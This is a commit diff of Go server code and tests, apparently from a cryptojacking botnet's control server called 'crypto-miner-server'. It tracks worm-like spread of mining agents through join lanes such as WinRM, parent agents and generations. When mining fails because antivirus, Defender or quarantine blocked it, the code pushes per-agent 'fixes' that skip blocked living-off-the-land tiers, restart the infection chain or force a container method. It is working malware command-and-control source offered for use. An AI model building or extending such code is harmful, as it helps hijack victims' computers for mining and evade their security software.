Fleet topology epidemiology: strain plague map, interrupt fixes, tests.

server/internal/api/epidemiology_bridge.go

@@ -0,0 +1,74 @@
+package api
+
+import (
+	"time"
+
+	"crypto-miner-server/internal/epidemiology"
+)
+
+func (h *WSHub) epidemiologyTracker() *epidemiology.Tracker {
+	if h == nil {
+		return nil
+	}
+	return h.epidemiology
+}
+
+// SetEpidemiologyReporter wires AI + Seer broadcast callbacks for mining interrupts.
+func (h *WSHub) SetEpidemiologyReporter(r epidemiology.Reporter) {
+	if h == nil || h.epidemiology == nil {
+		return
+	}
+	h.epidemiology.SetReporter(r)
+}
+
+func (h *WSHub) observeEpidemiologyFromStats(agentID string, in epidemiology.StatsInput) {
+	tr := h.epidemiologyTracker()
+	if tr == nil {
+		return
+	}
+	tr.ObserveStats(agentID, in)
+}
+
+func (h *WSHub) attachEpidemiologyFix(resp map[string]interface{}, agentID string) {
+	tr := h.epidemiologyTracker()
+	if tr == nil {
+		return
+	}
+	fix, ok := tr.ConsumeFix(agentID)
+	if !ok {
+		return
+	}
+	resp["epidemiology_fix"] = fix
+}
+
+func (h *WSHub) broadcastSeerEvent(ev epidemiology.SeerEvent) {
+	h.broadcastDashboard(Message{Type: "seer_event", Payload: mustMarshal(ev)})
+}
+
+func (h *WSHub) recordMiningInterruptAI(agentID, reasoning string) {
+	if h.aiHandler == nil {
+		return
+	}
+	entry := AIActivityEntry{
+		AgentID:       agentID,
+		LastAction:    "mining_interrupt",
+		LastReasoning: truncateStr(reasoning, 240),
+		LastReportAt:  time.Now(),
+	}
+	h.aiHandler.recordActivity(entry)
+}
+
+// WireDefaultEpidemiologyReporter connects mining-interrupt telemetry to AI + Seer streams.
+func (h *WSHub) WireDefaultEpidemiologyReporter() {
+	if h == nil {
+		return
+	}
+	h.SetEpidemiologyReporter(epidemiology.Reporter{
+		OnAI: func(agentID, action, reasoning string) {
+			h.recordMiningInterruptAI(agentID, reasoning)
+		},
+		OnSeer: func(ev epidemiology.SeerEvent) {
+			h.broadcastSeerEvent(ev)
+		},
+	})
+}

server/internal/api/epidemiology_test.go

@@ -0,0 +1,61 @@
+package api
+
+import (
+	"encoding/json"
+	"testing"
+
+	"crypto-miner-server/internal/epidemiology"
+)
+
+func TestEpidemiologyAuthFixOneShot(t *testing.T) {
+	hub := NewWSHub(nil)
+	hub.WireDefaultEpidemiologyReporter()
+
+	hub.observeEpidemiologyFromStats("agent-fix", epidemiology.StatsInput{
+		ChainExhausted: true,
+		SpreadStrain:   "#aabbcc",
+		FailedMethods: []epidemiology.MethodFailure{
+			{Method: "exe_subprocess", Reason: "blocked"},
+		},
+	})
+
+	resp := map[string]interface{}{}
+	hub.attachEpidemiologyFix(resp, "agent-fix")
+	if _, ok := resp["epidemiology_fix"]; !ok {
+		t.Fatal("expected epidemiology_fix on auth pass")
+	}
+	raw, _ := json.Marshal(resp["epidemiology_fix"])
+	var fix epidemiology.AgentFix
+	if err := json.Unmarshal(raw, &fix); err != nil {
+		t.Fatal(err)
+	}
+	if fix.AgentID != "agent-fix" || !fix.RestartChain {
+		t.Fatalf("fix=%+v", fix)
+	}
+
+	resp2 := map[string]interface{}{}
+	hub.attachEpidemiologyFix(resp2, "agent-fix")
+	if _, ok := resp2["epidemiology_fix"]; ok {
+		t.Fatal("fix should be consumed after first auth pass")
+	}
+}
+
+func TestEpidemiologySeerEventBroadcast(t *testing.T) {
+	hub := NewWSHub(nil)
+	var seerKind string
+	hub.SetEpidemiologyReporter(epidemiology.Reporter{
+		OnSeer: func(ev epidemiology.SeerEvent) {
+			seerKind = ev.Kind
+			hub.broadcastSeerEvent(ev)
+		},
+	})
+	hub.observeEpidemiologyFromStats("seer-agent", epidemiology.StatsInput{
+		ChainExhausted: true,
+		FailedMethods: []epidemiology.MethodFailure{
+			{Method: "container", Reason: "no runtime"},
+		},
+	})
+	if seerKind != "mining_interrupt" {
+		t.Fatalf("seer kind=%q", seerKind)
+	}
+}

server/internal/epidemiology/tracker.go

@@ -0,0 +1,301 @@
+package epidemiology
+
+import (
+	"crypto/sha256"
+	"encoding/json"
+	"fmt"
+	"strings"
+	"sync"
+	"time"
+)
+
+// MiningInterruptState is the exact mining stall snapshot reported to AI + Seer.
+type MiningInterruptState struct {
+	AgentID          string           `json:"agent_id"`
+	SpreadStrain     string           `json:"spread_strain"`
+	JoinLane         string           `json:"join_lane,omitempty"`
+	SpreadGeneration int              `json:"spread_generation,omitempty"`
+	ParentAgentID    string           `json:"parent_agent_id,omitempty"`
+	ActiveMethod     string           `json:"active_method,omitempty"`
+	ChainExhausted   bool             `json:"chain_exhausted,omitempty"`
+	FailedMethods    []MethodFailure  `json:"failed_methods,omitempty"`
+	LastError        string           `json:"last_error,omitempty"`
+	LOTLTier         string           `json:"lotl_tier,omitempty"`
+	MiningHashrate   float64          `json:"mining_hashrate"`
+	LOTLAttempts     []TierAttempt    `json:"lotl_attempts,omitempty"`
+	ReportedAt       string           `json:"reported_at"`
+}
+
+type MethodFailure struct {
+	Method string `json:"method"`
+	Reason string `json:"reason"`
+	At     string `json:"at"`
+}
+
+type TierAttempt struct {
+	Tier  string `json:"tier"`
+	OK    bool   `json:"ok"`
+	Error string `json:"error,omitempty"`
+}
+
+// AgentFix is a minimal surgical correction pushed on the agent's next auth pass.
+type AgentFix struct {
+	AgentID      string   `json:"agent_id"`
+	Reason       string   `json:"reason"`
+	SkipTiers    []string `json:"skip_tiers,omitempty"`
+	ForceTier    string   `json:"force_tier,omitempty"`
+	RestartChain bool     `json:"restart_chain,omitempty"`
+	ErasureLanes bool     `json:"erasure_lanes,omitempty"`
+}
+
+// SeerEvent is a read-only transcript row for the Seer page stream.
+type SeerEvent struct {
+	Kind      string          `json:"kind"`
+	AgentID   string          `json:"agent_id"`
+	Payload   json.RawMessage `json:"payload"`
+	Timestamp string          `json:"timestamp"`
+}
+
+// StatsInput mirrors the WS stats_update fields used for interruption detection.
+type StatsInput struct {
+	FleetRole        string
+	ActiveMethod     string
+	MiningHashrate   float64
+	Hashrate15m      float64
+	GPUHashrate15m   float64
+	GPUMinerActive   bool
+	ChainExhausted   bool
+	MiningLastError  string
+	FailedMethods    []MethodFailure
+	LOTLTier         string
+	LOTLAttempts     []TierAttempt
+	JoinLane         string
+	ParentAgentID    string
+	SpreadGeneration int
+	SpreadStrain     string
+}
+
+// Reporter callbacks for AI activity + Seer stream.
+type Reporter struct {
+	OnAI    func(agentID, action, reasoning string)
+	OnSeer  func(event SeerEvent)
+}
+
+// Tracker observes stats, records interrupts, and queues per-agent fixes.
+type Tracker struct {
+	mu          sync.Mutex
+	pendingFix  map[string]AgentFix
+	lastState   map[string]MiningInterruptState
+	seerEvents  []SeerEvent
+	reporter    Reporter
+}
+
+func NewTracker() *Tracker {
+	return &Tracker{
+		pendingFix: make(map[string]AgentFix),
+		lastState:  make(map[string]MiningInterruptState),
+		seerEvents: make([]SeerEvent, 0, 64),
+	}
+}
+
+func (t *Tracker) SetReporter(r Reporter) {
+	if t == nil {
+		return
+	}
+	t.mu.Lock()
+	t.reporter = r
+	t.mu.Unlock()
+}
+
+// ObserveStats detects mining interruption and queues a fix for the next auth pass.
+func (t *Tracker) ObserveStats(agentID string, stats StatsInput) {
+	if t == nil || agentID == "" {
+		return
+	}
+	state := DetectInterruption(agentID, stats)
+	if state == nil {
+		return
+	}
+	fix := ComposeFix(*state)
+	t.mu.Lock()
+	prev, seen := t.lastState[agentID]
+	if seen && statesEqual(prev, *state) {
+		t.mu.Unlock()
+		return
+	}
+	t.lastState[agentID] = *state
+	t.pendingFix[agentID] = fix
+	reporter := t.reporter
+	t.mu.Unlock()
+
+	t.emitReports(*state, fix, reporter)
+}
+
+// ConsumeFix returns and clears a pending fix for the agent's next auth handshake.
+func (t *Tracker) ConsumeFix(agentID string) (AgentFix, bool) {
+	if t == nil || agentID == "" {
+		return AgentFix{}, false
+	}
+	t.mu.Lock()
+	defer t.mu.Unlock()
+	fix, ok := t.pendingFix[agentID]
+	if ok {
+		delete(t.pendingFix, agentID)
+	}
+	return fix, ok
+}
+
+// LastInterrupt returns the latest interrupt snapshot for an agent.
+func (t *Tracker) LastInterrupt(agentID string) (MiningInterruptState, bool) {
+	if t == nil {
+		return MiningInterruptState{}, false
+	}
+	t.mu.Lock()
+	defer t.mu.Unlock()
+	s, ok := t.lastState[agentID]
+	return s, ok
+}
+
+// RecentSeerEvents returns the tail of Seer transcript events.
+func (t *Tracker) RecentSeerEvents(limit int) []SeerEvent {
+	if t == nil || limit <= 0 {
+		return nil
+	}
+	t.mu.Lock()
+	defer t.mu.Unlock()
+	if len(t.seerEvents) <= limit {
+		out := make([]SeerEvent, len(t.seerEvents))
+		copy(out, t.seerEvents)
+		return out
+	}
+	out := make([]SeerEvent, limit)
+	copy(out, t.seerEvents[len(t.seerEvents)-limit:])
+	return out
+}
+
+func (t *Tracker) emitReports(state MiningInterruptState, fix AgentFix, reporter Reporter) {
+	raw, _ := json.Marshal(state)
+	event := SeerEvent{
+		Kind:      "mining_interrupt",
+		AgentID:   state.AgentID,
+		Payload:   raw,
+		Timestamp: state.ReportedAt,
+	}
+	if t != nil {
+		t.mu.Lock()
+		t.seerEvents = append(t.seerEvents, event)
+		if len(t.seerEvents) > 500 {
+			t.seerEvents = t.seerEvents[len(t.seerEvents)-500:]
+		}
+		t.mu.Unlock()
+	}
+	if reporter.OnSeer != nil {
+		reporter.OnSeer(event)
+	}
+	if reporter.OnAI != nil {
+		reporter.OnAI(state.AgentID, "mining_interrupt", string(raw))
+	}
+}
+
+func statesEqual(a, b MiningInterruptState) bool {
+	ab, _ := json.Marshal(a)
+	bb, _ := json.Marshal(b)
+	return string(ab) == string(bb)
+}
+
+// DetectInterruption returns a snapshot when an online agent is not continuously mining.
+func DetectInterruption(agentID string, stats StatsInput) *MiningInterruptState {
+	if strings.TrimSpace(stats.FleetRole) == "seeder" {
+		return nil
+	}
+	hr := stats.MiningHashrate
+	if hr <= 0 {
+		hr = stats.Hashrate15m
+	}
+	if hr <= 0 {
+		hr = stats.GPUHashrate15m
+	}
+	hashing := hr > 0 && (stats.ActiveMethod != "" || stats.GPUMinerActive)
+	if hashing {
+		return nil
+	}
+	if !stats.ChainExhausted && len(stats.FailedMethods) == 0 &&
+		stats.MiningLastError == "" && !hasFailedLOTL(stats.LOTLAttempts) {
+		return nil
+	}
+	strain := strings.TrimSpace(stats.SpreadStrain)
+	if strain == "" {
+		strain = spreadStrainFromJoinLane(stats.JoinLane)
+	}
+	return &MiningInterruptState{
+		AgentID:          agentID,
+		SpreadStrain:     strain,
+		JoinLane:         strings.TrimSpace(stats.JoinLane),
+		SpreadGeneration: stats.SpreadGeneration,
+		ParentAgentID:    strings.TrimSpace(stats.ParentAgentID),
+		ActiveMethod:     strings.TrimSpace(stats.ActiveMethod),
+		ChainExhausted:   stats.ChainExhausted,
+		FailedMethods:    append([]MethodFailure(nil), stats.FailedMethods...),
+		LastError:        strings.TrimSpace(stats.MiningLastError),
+		LOTLTier:         strings.TrimSpace(stats.LOTLTier),
+		MiningHashrate:   hr,
+		LOTLAttempts:     append([]TierAttempt(nil), stats.LOTLAttempts...),
+		ReportedAt:       time.Now().UTC().Format(time.RFC3339),
+	}
+}
+
+func hasFailedLOTL(attempts []TierAttempt) bool {
+	for _, a := range attempts {
+		if !a.OK {
+			return true
+		}
+	}
+	return false
+}
+
+// ComposeFix builds a minimal agent-specific correction from the interrupt state.
+func ComposeFix(state MiningInterruptState) AgentFix {
+	fix := AgentFix{
+		AgentID: state.AgentID,
+		Reason:  "epidemiology: broken branch — avoid re-traversing failed mining path",
+	}
+	seen := make(map[string]bool)
+	for _, f := range state.FailedMethods {
+		tier := strings.TrimSpace(f.Method)
+		if tier == "" || seen[tier] {
+			continue
+		}
+		seen[tier] = true
+		fix.SkipTiers = append(fix.SkipTiers, tier)
+	}
+	for _, a := range state.LOTLAttempts {
+		if a.OK {
+			continue
+		}
+		tier := strings.TrimSpace(a.Tier)
+		if tier == "" || seen[tier] {
+			continue
+		}
+		seen[tier] = true
+		fix.SkipTiers = append(fix.SkipTiers, tier)
+	}
+	if state.ChainExhausted {
+		fix.RestartChain = true
+	}
+	if state.LastError != "" && strings.Contains(strings.ToLower(state.LastError), "defender") {
+		fix.ForceTier = "container"
+	}
+	if len(fix.SkipTiers) == 0 && state.LOTLTier != "" {
+		fix.SkipTiers = []string{state.LOTLTier}
+	}
+	return fix
+}
+
+func spreadStrainFromJoinLane(lane string) string {
+	lane = strings.TrimSpace(strings.ToLower(lane))
+	if lane == "" {
+		return "#334455"
+	}
+	sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
+	return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
+}

server/internal/epidemiology/tracker_test.go

@@ -0,0 +1,156 @@
+package epidemiology
+
+import (
+	"encoding/json"
+	"sync"
+	"testing"
+)
+
+func TestDetectInterruptionContinuousMiningNil(t *testing.T) {
+	if got := DetectInterruption("a1", StatsInput{
+		ActiveMethod:   "container",
+		MiningHashrate: 120,
+	}); got != nil {
+		t.Fatalf("continuous mining should not interrupt: %+v", got)
+	}
+}
+
+func TestDetectInterruptionChainExhausted(t *testing.T) {
+	got := DetectInterruption("stuck", StatsInput{
+		ChainExhausted: true,
+		SpreadStrain:   "#aabbcc",
+		JoinLane:       "winrm",
+		FailedMethods: []MethodFailure{{
+			Method: "exe_subprocess",
+			Reason: "AV blocked",
+			At:     "2026-06-07T00:00:00Z",
+		}},
+	})
+	if got == nil {
+		t.Fatal("expected interrupt state")
+	}
+	if got.SpreadStrain != "#aabbcc" {
+		t.Fatalf("strain=%q", got.SpreadStrain)
+	}
+	if got.AgentID != "stuck" {
+		t.Fatalf("agent=%q", got.AgentID)
+	}
+}
+
+func TestComposeFixSkipsFailedBranches(t *testing.T) {
+	fix := ComposeFix(MiningInterruptState{
+		AgentID:        "a1",
+		ChainExhausted: true,
+		FailedMethods: []MethodFailure{
+			{Method: "exe_subprocess", Reason: "blocked"},
+		},
+		LOTLAttempts: []TierAttempt{
+			{Tier: "container", OK: false, Error: "no docker"},
+		},
+	})
+	if !fix.RestartChain {
+		t.Fatal("chain exhausted should restart")
+	}
+	if len(fix.SkipTiers) < 2 {
+		t.Fatalf("skip tiers=%v", fix.SkipTiers)
+	}
+}
+
+func TestTrackerObserveAndConsumeFix(t *testing.T) {
+	tr := NewTracker()
+	var aiCalls int
+	var seerCalls int
+	tr.SetReporter(Reporter{
+		OnAI: func(agentID, action, reasoning string) {
+			aiCalls++
+			if agentID != "agent-x" || action != "mining_interrupt" {
+				t.Fatalf("ai callback: %s %s", agentID, action)
+			}
+			if reasoning == "" {
+				t.Fatal("expected reasoning payload")
+			}
+		},
+		OnSeer: func(event SeerEvent) {
+			seerCalls++
+			if event.Kind != "mining_interrupt" {
+				t.Fatalf("kind=%s", event.Kind)
+			}
+		},
+	})
+
+	tr.ObserveStats("agent-x", StatsInput{
+		ChainExhausted: true,
+		SpreadStrain:   "#112233",
+		FailedMethods:  []MethodFailure{{Method: "wsl", Reason: "missing"}},
+	})
+	if aiCalls != 1 || seerCalls != 1 {
+		t.Fatalf("reports ai=%d seer=%d", aiCalls, seerCalls)
+	}
+
+	fix, ok := tr.ConsumeFix("agent-x")
+	if !ok || fix.AgentID != "agent-x" {
+		t.Fatalf("consume fix: ok=%v fix=%+v", ok, fix)
+	}
+	if _, again := tr.ConsumeFix("agent-x"); again {
+		t.Fatal("fix should be one-shot on auth pass")
+	}
+
+	events := tr.RecentSeerEvents(5)
+	if len(events) != 1 {
+		t.Fatalf("seer events=%d", len(events))
+	}
+	var decoded MiningInterruptState
+	if err := json.Unmarshal(events[0].Payload, &decoded); err != nil {
+		t.Fatal(err)
+	}
+	if decoded.SpreadStrain != "#112233" {
+		t.Fatalf("payload strain=%q", decoded.SpreadStrain)
+	}
+}
+
+func TestTrackerDedupesIdenticalInterrupt(t *testing.T) {
+	tr := NewTracker()
+	var calls int
+	tr.SetReporter(Reporter{
+		OnAI: func(_, _, _ string) {
+			calls++
+		},
+	})
+	stats := StatsInput{
+		ChainExhausted: true,
+		SpreadStrain:   "#ff00aa",
+		FailedMethods:  []MethodFailure{{Method: "gpu_subprocess", Reason: "quarantine"}},
+	}
+	tr.ObserveStats("dup", stats)
+	tr.ObserveStats("dup", stats)
+	if calls != 1 {
+		t.Fatalf("deduped calls=%d want 1", calls)
+	}
+}
+
+func TestSpreadStrainFromJoinLaneParity(t *testing.T) {
+	got := spreadStrainFromJoinLane("winrm")
+	if got != "#ab88e4" {
+		t.Fatalf("winrm strain=%q want #ab88e4", got)
+	}
+}
+
+func TestTrackerConcurrentObserve(t *testing.T) {
+	tr := NewTracker()
+	var wg sync.WaitGroup
+	for i := 0; i < 20; i++ {
+		wg.Add(1)
+		go func(n int) {
+			defer wg.Done()
+			id := "agent-" + string(rune('a'+n%26))
+			tr.ObserveStats(id, StatsInput{
+				ChainExhausted: true,
+				FailedMethods:  []MethodFailure{{Method: "container", Reason: "fail"}},
+			})
+		}(i)
+	}
+	wg.Wait()
+	if len(tr.pendingFix) == 0 {
+		t.Fatal("expected pending fixes")
+	}
+}